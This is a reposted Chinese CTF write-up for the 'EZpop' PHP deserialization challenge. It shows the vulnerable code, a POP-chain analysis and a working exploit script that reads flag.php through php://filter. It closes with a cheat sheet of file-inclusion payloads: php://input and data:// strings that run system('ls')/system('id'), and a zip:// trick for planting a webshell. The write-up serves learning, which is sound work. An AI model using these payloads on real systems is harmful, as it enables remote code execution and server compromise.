EZpop分析

2021-08-28 10:03:42 阅读：143 来源： 互联网

标签：分析 __ 调用 function source EZpop php public

首先源代码如下

<?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
}
?>

首先找到利用点

public function append($value){
        include($value);
    }

找到了include（）

这里补充一下常用的PHP魔术方法，这道题考察的就是魔术方法的互相调用

__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发

然后找参数从哪里传过来的

  public function __invoke(){
        $this->append($this->var);
    }

$var就是可以传参数的地方
那么怎么才能调用__invoke()呢
发现

    public function __get($key){
        $function = $this->p;
        return $function();
    }

如果将$this->p传递为class Modifier的对象就会自动出发__invoke()
那么又如如何调用__get（）呢
发现

       public function __toString(){
        return $this->str->source;
    }

如果将$str传参为Test的对象，Test中没有source方法就会调用__get()
那么又如何调用__toString()呢

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }

如果source是Show的对象就会自动调用__toString()
而__wakeup()是自动调用的，整个链条就形成了

__wake() => __toString() => __get() => __invoke() =>include(flag.txt)

开始写exp:

<?php
class Modifier{
    protected  $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
        public $str;
        public function __construct($file){
    $this->source = $file;
    }
     }
class Test{
    public $p;
}
$a=new Show('a');

$a->str=new Test();
$a->str->p=new Modifier();
$b=new Show($a);
echo urlencode(serialize($b));
?>

这里有一个小疑问记录一下：

问题
就是为什么include（）函数要用php伪协议去读文件呢，include（）本身不就可以读文件的嘛,我之前写exp时没有用伪协议，所以没有读出文件

解决

这就是我对include()这个函数理解的不够出深入造成的，include()这个函数除了读取文件还会执行文件内容，所以需要用伪协议进行base64编码才能显示文件的内容，否则就会被php解释器执行而不会输出到前端

延伸

php://filter            读取文件源码
php://input             任意代码执行
data://text/plain       任意代码执行
zip://                  配合文件上传开启后门

专题学习一下php伪协议的各种利用姿势

PHP://filter

php://filter 协议可以对打开的数据流进行筛选和过滤,常用于读取文件源码

?url=php://filter/read=convert.base64-encode/resource=index.php

PHP://input

php://input 可以访问请求的原始数据,配合文件包含漏洞可以将post请求体中的内容当做文件内容执行,从而实现任意代码执行,需要注意的是,当enctype=multipart/form-data时,php:/input将会无效

?url=php://input                -- GET请求参数中使用php://input协议
<?php system('ls'); ?>            -- post请求体中的内容会被当做文件内容执行

Data://

协议格式: data:资源类型;编码,内容

data://协议通过执行资源类型,使后面的内容当做文件内容来执行,从而造成任意代码执行

?url=data://text/plain,<?php system('id') ?>

ZIP://

ziip://协议用来读取压缩包中的文件,可以配合文件上传开启后门,获取webshell

将shell.txt压缩成zip,再将后缀名改为jpg上传至服务器,再通过zip伪协议访问压缩包里的文件,从而链接木马

?url=zip://shell.jpg

标签：分析,__,调用,function,source,EZpop,php,public
来源： https://www.cnblogs.com/iwantflag/p/15195953.html

本站声明： 1. iCode9 技术分享网（下文简称本站）提供的所有内容，仅供技术学习、探讨和分享；
2. 关于本站的所有留言、评论、转载及引用，纯属内容发起人的个人观点，与本站观点和立场无关；
3. 关于本站的所有言论和文字，纯属内容发起人的个人观点，与本站观点和立场无关；
4. 本站文章均是网友提供，不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属；如您发现该文章侵犯了您的权益，可联系我们第一时间进行删除；
5. 本站为非盈利性的个人网站，所有内容不会用来进行牟利，也不会利用任何形式的广告来间接获益，纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

ICode9

EZpop分析